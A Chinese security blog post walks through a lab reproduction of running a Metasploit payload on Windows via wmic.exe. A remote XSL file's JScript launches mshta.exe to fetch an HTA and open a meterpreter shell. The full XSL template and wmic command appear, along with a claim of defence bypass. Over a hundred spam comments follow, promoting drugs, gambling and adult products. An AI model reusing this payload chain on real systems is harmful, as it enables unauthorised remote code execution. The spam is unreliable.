利用WMIC执行Payload

亮神说，有wmic可以执行payload，于是就有人复现了一下。
项目地址：https://github.com/Micropoor/Micro8

0x00 WMIC简介（原文复制）

WMIC扩展WMI（Windows Management Instrumentation，Windows管理工具），提供了从命令行接口和批命令脚本执行系统管理的支持。在WMIC出现之前，如果要管理WMI系统，必须使用一些专门的WMI应用，例如SMS，或者使用WMI的脚本编程API，或者使用象CIM Studio之类的工具。如果不熟悉C++之类的编程语言或VBScript之类的脚本语言，或者不掌握WMI名称空间的基本知识，要用WMI管理系统是很困难的。WMIC改变了这种情况。

0x01 原理概述

利用wmic.exe下载远程XSL（EXtensible Stylesheet Language，可扩展样式表语言）文件。其格式类似XML，其中包含一段JScript代码，可以调用WScript.Shell执行命令。

利用WScript.Shell运行mshta.exe，从远程下载hta文件（HTML Application，HTML应用程序）。该文件可以是一段VBScript，可以使用Wscript.Shell来调用powershell来执行Payload。

0x02 环境

攻击机：Kali Linux
IP：10.0.0.16
靶机：Windows Server 2008 Enterprise R2 x64
IP：10.0.0.4

软件：Metasploit Framework、Web服务器（用于下载xsl文件）。

0x03 实验

打开MSF，启动hta server，设置好payload类型和参数：

msf5> use exploit/windows/misc/hta_server
msf5> exploit

复制以下模板XSL文件，修改其中hta文件的地址为上图中的地址即可。我的虚拟机使用了双网卡，使用靶机可访问的10.0.0.16地址。

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
	<ms:script implements-prefix="user" language="JScript">
	<![CDATA[
	var r = new ActiveXObject("WScript.Shell").Run("mshta.exe http://10.0.0.16:8080/0gLLJrV.hta");
	]]> </ms:script>
</stylesheet>

将XSL文件放在/var/www/html/目录下，启动apache，为靶机提供Payload下载服务。靶机执行以下命令，加载并执行远程Payload：

# wmic.xsl为编辑好的文件
wmic os get format:"http://10.0.0.16/wmic.xsl"

MSF接收到反弹的meterpreter：

wmic.exe为Windows自带管理工具，将PowerShell Payload进行适当的处理后，可以起到神奇的bypass效果。

Tags:

You may also like...

121 Responses

  1. C_S4CDK_2022 questions说道：
    2022年5月28日 下午7:16

    Black Rubber Caster Wheelブランド時計コピーClassy Hydroxypropyl Methyl Cellulose HPMC

    回复
  2. tree removal Carmel IN说道：
    2022年5月30日 下午5:40

    Thank you ever so for you article.Much thanks again. Awesome.

    回复
  3. best mini wand massagers说道：
    2022年6月1日 下午11:10

    I loved your blog post. Fantastic.

    回复
  4. pussy pumping说道：
    2022年6月2日 上午6:37

    I really liked your blog article.Really thank you! Cool.

    回复
  5. Katie说道：
    2022年6月2日 下午12:21

    what do cbd peanut butter bites for dogs do to your dog

    回复
  6. waterproof wand massager说道：
    2022年6月2日 下午11:52

    Great article.Much thanks again. Cool.

    回复
  7. burlington penthouses说道：
    2022年6月4日 下午4:33

    Great blog.Really thank you! Keep writing.

    回复
  8. bondage toys for couples说道：
    2022年6月11日 上午8:40

    I really liked your blog post.Much thanks again.

    回复
  9. techyseva说道：
    2022年6月11日 下午5:42

    Really informative blog post.Really looking forward to read more. Really Great.

    回复
  10. baby bibs australia说道：
    2022年6月21日 下午6:17

    wow, awesome blog post.Really thank you! Awesome.

    回复
  11. see说道：
    2022年6月23日 上午1:50

    I will immediately grab your rss feed as I can not in finding your email subscription hyperlink or newsletter service. Do you’ve any? Please let me understand so that I may just subscribe. Thanks.

    回复
  12. how to make your own dildo说道：
    2022年6月28日 上午6:28

    Very neat post.Really looking forward to read more. Great.

    回复
  13. daftar judi bola说道：
    2022年6月30日 下午7:46

    Looking forward to reading more. Great post.Much thanks again. Great.

    回复
  14. judi bola online说道：
    2022年7月1日 上午1:37

    A round of applause for your article.Much thanks again. Cool.

    回复
  15. Analytics platform说道：
    2022年7月2日 下午6:50

    Muchos Gracias for your post.Thanks Again. Want more.

    回复
  16. mp3juice说道：
    2022年7月3日 上午4:49

    Really informative blog article.Really looking forward to read more. Really Great.

    回复
  17. rap plan说道：
    2022年7月4日 上午6:03

    A big thank you for your blog.Much thanks again. Cool.

    回复
  18. best baby bowls and spoons说道：
    2022年7月5日 下午5:49

    I really liked your blog article.Really thank you! Awesome.

    回复
  19. apkpure说道：
    2022年7月6日 上午8:29

    Very good post.Really looking forward to read more. Really Great.

    回复
  20. Lips说道：
    2022年7月6日 下午6:11

    Appreciate you sharing, great blog post.Much thanks again. Great.

    回复
  21. Juyoyo ring说道：
    2022年7月7日 上午1:11

    Fantastic post.

    回复
  22. viral rose clit vibrator说道：
    2022年7月7日 上午5:57

    Thank you for your article post.Really looking forward to read more. Really Cool.

    回复
  23. crypto说道：
    2022年7月12日 下午6:24

    Really informative post.Really thank you! Keep writing.

    回复
  24. auto detailing kansas city说道：
    2022年7月13日 下午5:47

    Fantastic article post.Really looking forward to read more. Keep writing.

    回复
  25. rpl learning说道：
    2022年7月14日 上午9:02

    Fantastic post.Really thank you! Keep writing.

    回复
  26. precio de madera plastica说道：
    2022年7月22日 下午9:18

    hydroxychloroquine clinical trial chloroquine vs hydroxychloroquine

    回复
  27. roofing说道：
    2022年7月24日 上午7:43

    Great blog. Really Great.

    回复
  28. gadgetofficials.com说道：
    2022年7月30日 上午7:14

    Great blog.Really looking forward to read more. Want more.

    回复
  29. tubidy说道：
    2022年8月3日 下午1:33

    I used to be able to find good advice from your blog posts.

    回复
  30. travel europe说道：
    2022年8月4日 上午12:14

    Say, you got a nice blog article.Thanks Again. Keep writing.

    回复
  31. japandi说道：
    2022年8月4日 下午8:07

    tiktok follower kaufen mit echten followern

    回复
  32. cooe apk说道：
    2022年8月9日 下午4:56

    Fantastic article post.Much thanks again. Keep writing.

    回复
  33. Kelvin Kaemingk说道：
    2022年8月9日 下午10:18

    A big thank you for your blog article.Thanks Again. Want more.

    回复
  34. website design malaysia说道：
    2022年8月12日 下午1:45

    Wow, great article post.Much thanks again. Much obliged.

    回复
  35. look what i found说道：
    2022年8月13日 下午7:47

    מילפית עם ציצי ענק וכוס מושלם נדפקת על הספה בכל התנוחות האפשרויותשירותי ליווי במרכז

    回复
  36. film equipment rental malaysia说道：
    2022年8月14日 上午5:08

    Thanks for finally talking about > シェアリング・エコノミー – Ayaka’s Blog

    回复
  37. blended learning说道：
    2022年8月20日 下午12:39

    Tin Tức, Sự Kiện Liên Quan Lại Đến Trực Tiếp đá Bóng Nữ Giới bet88Đội tuyển nước ta chỉ cần một kết trái hòa có bàn thắng để lần thứ hai góp mặt tại World Cup futsal. Nhưng, nhằm làm được như vậy

    回复
  38. insulated water bottle说道：
    2022年8月30日 下午9:56

    You made your point quite clearly!. canadian pharmacies online

    回复
  39. mas info说道：
    2022年9月2日 下午12:59

    I want to see your book when it comes out.

    回复
  40. download lagu说道：
    2022年9月3日 下午2:11

    Saved as a favorite, I like your blog!

    回复
  41. shawarma in kubwa说道：
    2022年9月4日 上午2:02

    Great info! Keep post great articles.

    回复
  42. Tattoo说道：
    2022年9月6日 下午8:40

    ถ้าหากจะถามถึงเกมออนไลน์ที่เล่นง่ายและทำเงินได้ง่ายที่สุดลุกงหนีไม่พ้นบาคาร่าออนไลน์ UFABET ก็เลยเอาใจสมาชิกโดยการรวมรวมเกมบาคาร่าออนไลน์ไว้เยอะมากเพื่อสามาชิกได้เลือกเล่นอย่างเต็มที่นอกเหนือจากนั้นยังมีเกมฯลฯ

    回复
  43. สเต็ป2说道：
    2022年9月12日 下午12:25

    It’s time for communities to rally.

    回复
  44. 두팔로우说道：
    2022年9月16日 上午12:18

    I love your blog. It looks every informative.

    回复
  45. more details说道：
    2022年9月16日 上午1:01

    Nicely put, Many thanks.best essay service essays writing service custom report writing service

    回复
  46. zaragoza说道：
    2022年9月17日 下午5:46

    You write Formidable articles, keep up good work.

    回复
  47. tejados说道：
    2022年9月17日 下午7:49

    Makes sense to me.

    回复
  48. ukrainiansexchat.com说道：
    2022年9月20日 下午12:25

    Thank you for helping out, great information. «Riches cover a multitude of woes.» by Menander.

    回复
  49. dat phong VIP说道：
    2022年9月22日 下午3:20

    Enjoyed every bit of your blog.Really thank you! Really Great.

    回复
  50. ทางเข้าgclub说道：
    2022年10月6日 下午5:23

    Very good blog post.Much thanks again. Keep writing.

    回复
  51. man and van说道：
    2022年10月11日 上午6:56

    Pretty nice post. I just stumbled uoon your blog and wanted to mention that I have truly loved surfingaround yokur blog posts. In anyy case I will be subscribing in yor rssfeed and I’m hoping you write obce more soon!

    回复
  52. Agencia de Noticias说道：
    2022年10月19日 下午11:46

    Looking forward to reading more. Great post.Much thanks again. Keep writing.

    回复
  53. 안전놀이터说道：
    2022年10月21日 上午1:12

    Have you given any kind of thought at all with converting your current web-site into French? I know a couple of of translaters here that will would certainly help you do it for no cost if you want to get in touch with me personally.

    回复
  54. 메이저사이트说道：
    2022年10月21日 上午1:25

    Do you offer workshops?

    回复
  55. 메이저사이트说道：
    2022年10月22日 上午1:02

    I encountered your site after doing a search for new contesting using Google, and decided to stick around and read more of your articles. Thanks for posting, I have your site bookmarked now.

    回复
  56. Legal Courier Los Angeles说道：
    2022年10月24日 上午6:16

    I can’t go into details, but I have to say its a good article!

    回复
  57. bryce young football jersey说道：
    2022年10月25日 下午3:28

    california department of health services does dust cause asthmaivermectin tablets for sale walmart nphcpe

    回复
  58. iphones baratos说道：
    2022年10月26日 上午6:30

    I’ll right away seize your rss as I can not in findingyour e-mail subscription link or e-newsletter service. Do you have any?Please allow me recognize so that I may subscribe. Thanks.

    回复
  59. empresa fonatneros说道：
    2022年11月3日 下午6:21

    Does it look like we’re in for a big ride here?

    回复
  60. mt4说道：
    2022年11月5日 上午4:37

    Thank you ever so for you article post.Much thanks again. Really Cool.

    回复
  61. live skor说道：
    2022年11月7日 上午2:14

    Hey! Do you use Twitter? I’d like to follow you if that would be ok. I’m absolutely enjoying your blog and look forward to new posts.

    回复
  62. Melinda Chadwick说道：
    2022年11月7日 上午6:27

    www canadian pharmacies adderall online pharmacy

    回复
  63. Rosalie Burgess说道：
    2022年11月7日 上午9:02

    hydroxychloroquine for covid 19 ncov chloroquine

    回复
  64. Hans Hubert Keusch Betrug说道：
    2022年11月7日 下午7:15

    SPORT-HUNTER แทงบอล แทงบอลออนไลน์ โดยเป็นผู้ให้บริการจาก UFABET กีฬาออนไลน์ คาสิโนออนไลน์ สล็อตออนไลน์ หวยออนไลน์c

    回复
  65. duplicado llaves说道：
    2022年11月8日 下午4:55

    What a great article.. i subscribed btw!

    回复
  66. 토토 모음说道：
    2022年11月13日 上午11:10

    Magnificent beat ! Can I be your apprentice? Just kidding!

    回复
  67. Hoodies in Bangladesh说道：
    2022年11月15日 下午5:26

    I’m a massive supporter of your work. I’ll be back to see more sometime soon. Thanks for making it.

    回复
  68. stock broker说道：
    2022年11月18日 下午10:36

    hydroxychloroquine manufacturer — hydroxychloroquine plaquenil deltasone without rx script online

    回复
  69. Liebespuppen说道：
    2022年11月19日 下午9:28

    fantastic internet site, I could definitely go to your web page once more…acquired some really nice info.

    回复
  70. Bitcoin Trading说道：
    2022年11月21日 下午5:51

    2,009 Gejaagd Door De Wind — Various — Herkennings Melodie (Vinyl, LP) Kempu — )escalГЁ( — Pro Ton EP (File, MP3)

    回复
  71. Mechanical Bull Austin说道：
    2022年11月22日 上午6:44

    I’ll bookmark your blog and check again here frequently.

    回复
  72. stocks trading说道：
    2022年11月25日 上午6:11

    essay writernx custom essay writing toronto i26nxu writing a literary essay w20awd

    回复
  73. Julie Read说道：
    2022年11月26日 下午1:10

    ivermectin for pig lice ivermectin injection for sheep

    回复
  74. legal steroids muscle growth说道：
    2022年11月30日 下午9:18

    Thank you for your article.Really looking forward to read more. Keep writing.

    回复
  75. Kelvin Kaemingk loanDepot说道：
    2022年12月1日 上午5:49

    wow, awesome article.Thanks Again. Want more.

    回复
  76. driving lesson说道：
    2022年12月1日 下午3:51

    Awesome blog.Really thank you!

    回复
  77. houston junk car buyer说道：
    2022年12月4日 上午11:11

    I was able to find good info from your blog posts.|

    回复
  78. kupit` tur po Rossii说道：
    2022年12月6日 上午1:12

    tomar el acné con sangre: hacer, cuidar y formar

    回复
  79. Slot gacor说道：
    2022年12月7日 上午2:58

    Fantastic blog post.Really looking forward to read more. Will read on…

    回复
  80. Tattoo说道：
    2022年12月7日 下午6:02

    stromectol cvs

    回复
  81. Kelvin Kaemingk说道：
    2022年12月10日 下午10:27

    Fantastic blog post. Fantastic.

    回复
  82. slide bar说道：
    2022年12月15日 上午2:11

    Appreciate you sharing, great article. Great.

    回复
  83. next说道：
    2022年12月16日 下午5:05

    Great blog article.Really looking forward to read more. Want more.

    回复
  84. ygdy.net说道：
    2022年12月17日 下午10:16

    Muchos Gracias for your blog post.Much thanks again. Fantastic.

    回复
  85. Cover page template Word说道：
    2022年12月20日 上午3:50

    armodafinil vs modafinil modafinil vs adderall

    回复
  86. ecommerce product scraper说道：
    2022年12月20日 上午4:30

    Appreciate you sharing, great blog post.Thanks Again. Much obliged.

    回复
  87. engraved ring说道：
    2022年12月20日 下午9:57

    Enjoyed every bit of your blog post.Really looking forward to read more. Want more.

    回复
  88. Waxing Stuttgart说道：
    2022年12月21日 下午5:28

    legit canadian pharmacy online express scripts com pharmacies

    回复
  89. Expert Removal Services说道：
    2022年12月22日 下午6:40

    Thanks for a marvelous posting! I genuinely enjoyed reading it,you’re a great author.I will make certain to bookmark your blog and willcome back at some point. I want to encourage that you continue your great work, havea nice weekend!

    回复
  90. drink Recipe说道：
    2022年12月23日 上午3:54

    I loved your blog.Much thanks again.

    回复
  91. pkv poker apk kiupkv说道：
    2022年12月27日 下午7:05

    Looking forward to reading more. Great blog article.Much thanks again. Awesome.

    回复
  92. plastic molding manufacturer说道：
    2022年12月29日 下午3:56

    Say, you got a nice post.Really thank you!

    回复
  93. thanh lap cong ty说道：
    2022年12月30日 上午1:19

    Good information. Lucky me I recently found your blog by chance (stumbleupon). I’ve book marked it for later!

    回复
  94. 대전출장说道：
    2023年1月1日 下午3:41

    Have you given any kind of thought at all with converting your current web-site into French? I know a couple of of translaters here that will would certainly help you do it for no cost if you want to get in touch with me personally.

    回复
  95. Osbert Mcdonald说道：
    2023年1月2日 下午11:32

    free credit ck credit experian credit report free credit score

    回复
  96. Tanner Dibley说道：
    2023年1月3日 下午6:59

    Saved as a favorite, I like your site!

    回复
  97. 1771-p5e说道：
    2023年1月6日 上午12:06

    Thank you ever so for you article.Really looking forward to read more. Awesome.

    回复
  98. 에볼루션카지노说道：
    2023年1月7日 上午6:25

    Awesome article post.Really thank you! Great.

    回复
  99. 에볼루션바카라说道：
    2023年1月7日 下午4:51

    Great article post.Much thanks again. Keep writing.

    回复
  100. 에볼루션카지노说道：
    2023年1月7日 下午10:09

    Fantastic blog article.Much thanks again. Keep writing.

    回复
  101. slot sering jackpot Jaya365说道：
    2023年1月8日 下午4:57

    Enjoyed every bit of your article.Much thanks again. Much obliged.

    回复
  102. 구로풀싸롱说道：
    2023年1月9日 下午9:49

    Fantastic blog.Really thank you! Fantastic.

    回复
  103. лазерна епилация интим说道：
    2023年1月10日 上午3:51

    wow, awesome post.Thanks Again. Fantastic.

    回复
  104. https://notes.io/q1mFK https://sillitas.com说道：
    2023年1月11日 下午8:55

    Very good information. Lucky me I recently found your blog by accident (stumbleupon). I have saved it for later!

    回复
  105. http://gcint.org.br/green/members/peardeer3/activity/209796/ Star iBaby说道：
    2023年1月11日 下午11:16

    El judaísmo acaba explicado: ¿dónde está valak?

    回复
  106. juice mp3说道：
    2023年1月15日 下午6:23

    I loved your article post.Much thanks again. Really Great.

    回复
  107. Aqui la respuesta说道：
    2023年1月16日 下午6:11

    rx express pharmacy navarre fl cvs pharmacy store location

    回复
  108. Greig Gray说道：
    2023年1月17日 上午1:07

    You actually expressed that superbly. essaywriting4you.com writing argumentative essays

    回复
  109. Home Design Institute说道：
    2023年1月19日 下午6:54

    how to get ivermectin in canada ivermectin in canada for humans

    回复
  110. Kelvin Kaemingk说道：
    2023年1月25日 上午7:02

    Fantastic article post.Really thank you! Much obliged.

    回复
  111. Kelvin Kaemingk说道：
    2023年1月27日 上午4:51

    Thank you for your post.Really looking forward to read more. Much obliged.

    回复
  112. pcb assembly说道：
    2023年1月27日 下午6:57

    Very informative post. Cool.

    回复
  113. pcb assembly说道：
    2023年1月28日 上午1:02

    Fantastic blog article.Really looking forward to read more. Want more.

    回复
  114. best moving companies london ontario说道：
    2023年1月29日 下午11:37

    ivermectin – purchase stromectol online stromectol for sale

    回复
  115. Sliding door repair说道：
    2023年1月29日 下午11:40

    I really liked your blog article.Thanks Again. Awesome.

    回复
  116. poker88说道：
    2023年1月31日 下午7:44

    zithromax online pharmacy canada generic zithromax

    回复
  117. printed circuit board assemblies说道：
    2023年2月3日 上午6:27

    Really informative article post.Much thanks again. Fantastic.

    回复
  118. Recession说道：
    2023年2月4日 上午4:56

    dogpatch apartments schaumburg apartments tempe town lake apartments

    回复
  119. https://onlinehandeln.info/说道：
    2023年2月5日 上午4:51

    ต้องการเล่นพนันแต่ว่าไปคาสิโนมิได้ ปัญหาโลกแตกนี้จะหมดไปครับด้วยเหตุว่า UFABET ได้ชูคาสิโนมาไว้ให้แล้ว มีเกมมากมายทั้งยังบาคาร่า สล็อต แทงบอล มองบอลสด มีหมดขอรับ เพียงแต่ลงทะเบียนเป็นสมาชิกกับพวกเราก็เหมือนกับไปคาสิโนจริงๆเลยครับ

    回复
  1. 3intercept
    2022年6月20日

    3temporary

  2. 1publicly
    2023年1月26日

    2favourites

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注